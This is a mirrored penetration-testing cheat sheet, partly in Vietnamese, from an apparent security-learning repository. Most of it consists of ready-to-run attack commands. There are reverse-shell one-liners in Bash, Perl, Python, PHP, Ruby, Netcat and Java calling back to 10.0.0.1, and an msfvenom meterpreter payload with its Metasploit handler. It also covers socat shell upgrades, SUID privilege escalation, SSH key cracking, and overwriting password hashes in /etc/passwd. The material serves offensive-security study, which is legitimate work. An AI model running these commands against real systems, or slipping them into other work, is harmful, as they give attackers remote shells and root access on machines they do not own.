mirror of
https://github.com/haudang217/LearningSecurity.git
synced 2026-02-04 23:59:09 +00:00
------------------------------------------------------------------
- -
- REVERSE-SHELL CHEAT SHEET (change IP and port when use) -
- -
------------------------------------------------------------------
* Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
* Perl
perl -e 'use Socket;$i="10.0.0.1";
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh
-i");};'
* Python
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
* PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
* Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'
* Netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
* Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while
read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
------------------------------------------------------------------------------------------------------------------
TẠO RA MỘT FILE REVERSE-SHELL DÙNG CHO LINUX DỰA TRÊN NỀN TẢN METASPLOIT
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -o shell.elf
Trong đó:
• msfvenom: Tên câu lệnh
• -p linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết nối sẽ sử dụng
• LHOST và LPORT: Địa chỉ IP và port dùng để nhận shell trên máy Kali của hacker
• -f: Format của dữ liệu đầu ra. Ở đây chọn elf là extension file thực thi của Linux.
• -o: Xuất ra file có tên là shell.elf
Sử dụng module "exploit/multi/handler"
set LHOST <IP của bạn>
set LPORT <Port đã dùng trong command msfvenom bên trên>
set PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit
Sử dụng local_exploit_suggester để tiến hành tìm kiếm lỗ hỗng khi có được reverse_shell.
-------------------------------------------------------------------------------------------------------------------
TẠO RA MỘT WEBSERVER SỬ DỤNG PYTHON
Python cung cấp module SimpleHTTPServer để biến directory hiện tại thành một webserver cho phép trao đổi file với địa chỉ IP của của máy.
• python2
python -m SimpleHTTPServer <port_number>
• python3
python3 -m http.server <port_number>
******* Port mặc định nếu không được khai báo là 8000 ******
--------------------------------------------------------------------------------------------------------------------
UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs
• using python
python -c 'import pty; pty.spawn("/bin/bash")'
• using socat
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
• using stty options
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
----------------------------------------------------------------------------------------------------------------------
Tìm một ứng dụng đạng chạy với SUID
find / -perm -u=s -type f 2>/dev/null
Khai thác lỗi với SUID thông qua python
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Tìm nhiều hơn tại link sau: https://gtfobins.github.io/
-----------------------------------------------------------------------------------------------------------------------
CÁC VẤN ĐỀ LIÊN QUAN ĐẾN SSH
Có thể thực hiện việc ssh thông qua một file id_rsa chứa private_key với cấu trúc: sss username@ip -i id_rsa
File này có thể được crack thông qua link sau: https://www.hackingarticles.in/beginners-guide-for-john-the-ripper-part-2/
-----------------------------------------------------------------------------------------------------------------------
CẤN VẤN ĐỀ LIÊN QUAN ĐẾN PASSWORD TRONG LINUX
Có thể tạo ra một password theo chuẩn của linux tạo ra thông qua: Openssl passwd "password"
Password thường chứa trong /etc/shadow nhưng ta có thể hoàn toàn thay thế trong file /etc/passwd (tập tin này mọi user đều có quyền read).
------------------------------------------------------------------------------------------------------------------------